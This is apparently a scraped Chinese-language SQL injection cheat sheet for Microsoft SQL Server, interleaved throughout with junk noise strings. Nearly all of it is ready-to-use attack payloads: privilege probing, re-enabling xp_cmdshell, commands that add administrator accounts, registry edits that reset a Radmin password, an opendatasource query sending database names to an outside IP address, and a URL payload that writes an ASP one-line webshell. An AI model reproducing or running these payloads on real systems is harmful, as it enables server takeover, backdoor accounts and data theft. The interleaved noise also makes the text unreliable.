//看看是什么权限的
( V# V& S1 ]/ u1 {4 o0 H% q. T Yand 1=(Select IS_MEMBER('db_owner'))8 S8 p+ I% ~5 @. I% b6 M8 M! k
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
5 Y8 c5 J) v1 B* K. d
5 K. N+ q! t5 B( F//检测是否有读取某数据库的权限( @' ]+ t' n0 \& P
and 1= (Select HAS_DBACCESS('master'))
" F- X# m) T: R8 n# uAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
- \: C# e# r; @, q
" y" l4 R% s* h8 p1 Y% k* M; n/ j6 f/ J7 m- }. M
数字类型9 r6 u% L [! b
and char(124)%2Buser%2Bchar(124)=0
& B0 g, p3 w& s B* j1 e1 f! h; r& N' Y& \( N* q* Z: F% R
字符类型
% d9 Q9 N5 b+ ?; ?% ~' and char(124)%2Buser%2Bchar(124)=0 and ''=') f9 _# \6 c+ `" \3 j/ c
+ M8 T+ Y' h: s; m+ ~& r" D" G9 d搜索类型+ [6 }: h+ K- p' p
' and char(124)%2Buser%2Bchar(124)=0 and '%'='$ ]( b% C+ \1 N% t6 | h
/ O, W: j/ }/ p
爆用户名
, Z* P; c- j; h2 L' w* b; P6 n3 F7 Z" Tand user>0
# G3 V+ t5 U6 I* A* m5 n' and user>0 and ''='
% C; h S: Q1 z
6 `5 y5 B2 {: g& ^5 R$ a检测是否为SA权限# j' ?' l# t( ]0 d# g
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--. i3 }6 V: G" }( L8 J
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --4 E0 {' h4 x! ?! n, D
; B# ]& Z0 L5 g; h& `1 c: h8 p
检测是不是MSSQL数据库
' p) o) s$ s. I+ M! i% C, Qand exists (select * from sysobjects);--
7 c$ v% e, A' A% T8 _: V( \! `6 A, ~( ^+ z, D3 G4 s3 y: `
检测是否支持多行
1 y9 ~: d: [) Q# J$ o1 Z2 H;declare @d int;--
) ?5 O- J$ J* W9 P& M, x2 ^7 w& m
恢复 xp_cmdshell0 z8 B& B4 @( h9 R; U# u/ j
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--. H2 e X# e4 C" W, F, Y5 F3 n- t& z
! t/ q" S) l* g# v, ^
/ A7 v0 Q" e/ m) @select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
7 a! W6 X: ~0 v- c* B5 ]6 ?+ `! t6 f6 F3 p% u2 b: V5 T
//-----------------------1 C7 e: T/ ?. \. K0 P# Q8 h
// 执行命令
7 n! D1 ^& L! H. N) A//-----------------------
0 [8 `- _% X W6 {! ], G首先开启沙盘模式:
; T$ k' e2 V' X( I1 Zexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1! h- S- p) c4 ^
5 ~$ I/ T* j; D! W
然后利用jet.oledb执行系统命令
% Q- d# K- j& y$ gselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')9 }* e5 A# }% c% ]; ^
- ?: R* P8 L! R3 U1 }8 o4 e, S3 {
执行命令
7 p# u- ?7 @+ G/ Y;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';-- p& _! l" A0 ]% G) z7 \
/ w1 v# e) X& K- [# U. D! b8 xEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'3 `% g5 @- t( ^
- U0 w5 Z; F6 w* R' {判断xp_cmdshell扩展存储过程是否存在:
' |* L9 |1 c7 d1 H4 Q9 Rhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')+ n1 s# c! m: M# `2 y0 X- o- c
. y4 n$ h9 |( k( J% }
写注册表
9 b8 V0 M& T" uexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',17 _# U+ B1 S( k/ R$ C' d: R d
: g0 T; p! V2 e7 h/ p$ d
REG_SZ( S3 Y; S% A( W- b
T- T( `# w T; ]
读注册表4 f0 R" ]- a) f/ d6 k4 M- D
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'8 z/ v2 f3 Q1 V* Q$ ^- t
! M3 i5 k2 c1 ?2 m1 Q2 c, e读取目录内容6 @; A' h! B9 X/ `) ^& Z
exec master..xp_dirtree 'c:\winnt\system32\',1,1
( T) v( O! W, o! e" x2 x; V' D* l
1 T' j2 V% ~0 Z7 F8 Q1 u! _
! K) [- r4 p. ]7 N+ N数据库备份, t8 ]. F; ?( J2 q8 W) s
backup database pubs to disk = 'c:\123.bak'" U; k5 G: H/ M) G
; Y. d. `4 f, [* O+ L) V, ^9 k- P! M
//爆出长度# D# i( q7 z' H$ ]
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--1 P8 ?& m7 o+ @0 F+ L
$ A! U& ?( u- h/ J: b( c
* L: d: u; B8 f' I2 F+ O7 W2 A& a) L
更改sa口令方法:用sql综合利用工具连接后,执行命令:9 M% p9 x2 _3 `7 u+ k( F' f
exec sp_password NULL,'新密码','sa'+ J/ A+ e% s* C
7 z% z: D/ [- P5 ]6 a; a5 L添加和删除一个SA权限的用户test:2 S: k( X6 {) I; l- `) R
exec master.dbo.sp_addlogin test,9530772
4 l9 P5 D% p5 d- Zexec master.dbo.sp_addsrvrolemember test,sysadmin
" r7 G, @, h: ^
7 K& U& W: w" N删除扩展存储过过程xp_cmdshell的语句:
8 G9 ]1 F# Q* w- D# p. K1 ]exec sp_dropextendedproc 'xp_cmdshell'5 }5 a* f2 I* Q2 R
0 i# q/ I, I1 X8 |( T- p* c/ c5 X& @添加扩展存储过过程- v6 J4 n" U% x& a, j
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
( s2 v& J. k( s8 a3 {# RGRANT exec On xp_proxiedadata TO public6 x% Z4 d) l7 e9 y
4 @' q- {( b5 {+ \/ b
# R8 r7 b& Q& E0 r$ e停掉或激活某个服务。% G9 D- f4 l7 p
- P \/ ?7 O' I+ e" E( y' P1 p2 Lexec master..xp_servicecontrol 'stop','schedule'
# l9 b" O3 _1 c& [exec master..xp_servicecontrol 'start','schedule'
/ \, ^7 K6 h" h: V+ W4 I1 z1 p: p5 G7 J. C& }
dbo.xp_subdirs2 R4 c, C9 ?( n$ ]" q5 s
: t" t- A0 I( n k8 v
只列某个目录下的子目录。3 |+ Q" N; ?8 G) E
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
3 C K0 Z3 p1 M' i6 t8 z- S+ X8 c) c! R/ G+ @# z, n3 f
dbo.xp_makecab
# Y) H8 [' j1 Z/ E0 B4 e" ~3 G( ]& _! B+ r0 C4 l: @6 X6 W5 T1 {7 D, t
将目标多个档案压缩到某个目标档案之内。+ W4 W: a, I* e1 d! Z# w; Q
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。: f' Y; N% K& P5 j' [1 w% q: f/ ^6 \
) l! }/ b3 p% M H9 J1 W% `, a
dbo.xp_makecab$ u8 r( O4 \ l6 Q
'c:\test.cab','mszip',1,' n% L- |7 t7 o m, N" G
'C:\Inetpub\wwwroot\SQLInject\login.asp',% x* ?# T+ d6 ]- T5 f8 p- r
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp') w9 c8 H! f$ |3 l2 Q* _
8 R$ ~+ L T0 N* g! C
xp_terminate_process, B; U# J2 L8 c. @' }' @/ a2 Y5 E# X
- J P# N8 y: ^" V
停掉某个执行中的程序,但赋予的参数是 Process ID。
9 O! A3 y. p. g# a8 u8 K; O# `利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID$ K; D8 Y/ A( i1 t" x
( M! K% n8 T3 Q4 Ixp_terminate_process 2484" Y0 U/ k9 Y1 Y) ~. Q
8 l* b9 G+ T! t& qxp_unpackcab
( n7 e7 [) A+ ~$ b) N3 `
- J( K4 `2 Y* K6 g. f解开压缩档。, O1 H O' |4 Y$ p6 D0 H" r
. `5 |1 o4 O5 Q5 S$ w7 h
xp_unpackcab 'c:\test.cab','c:\temp',1- |( A% Y1 C1 e) ^) Y; U
6 z( l8 K; f# n$ Y3 r
8 u" z; K' o) [某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12347 x& e% B( ?! i+ m
9 H6 f- u) X+ C- j! rcreate database lcx;
) L# {/ ]/ l; ?* F0 @! t' eCreate TABLE ku(name nvarchar(256) null);9 `7 L8 r6 I+ h$ v5 f
Create TABLE biao(id int NULL,name nvarchar(256) null);+ @2 P% K' {$ Z' f0 G! H
6 ^. r( _% E. Q' E$ K//得到数据库名
; S9 _- v7 z+ z) y, d7 A" m0 T+ ^insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases4 }3 t4 i* A F) V& @
8 A6 y; k: F- k( j. p
" e5 x$ S) Y6 f8 f; o! ?//在Master中创建表,看看权限怎样- \ Y0 h4 n" d
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--9 i7 Z) `4 u) W0 A: L* I) w- H
: U: _' T( I5 V. X) p5 O5 {+ E; v) O) c
用 sp_makewebtask直接在web目录里写入一句话马:/ W# r9 t! `. d1 N0 Q7 H
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';-- q: D) p# ~! }* c0 K$ K
+ C! y& H$ q9 Q2 H+ i//更新表内容
( N' S. F% A) g4 YUpdate films SET kind = 'Dramatic' Where id = 123# l0 ]& ^. m5 K, e
8 n D$ n% q F. o. w) G; b//删除内容
$ D. ^- O- h t' sdelete from table_name where Stockid = 3 |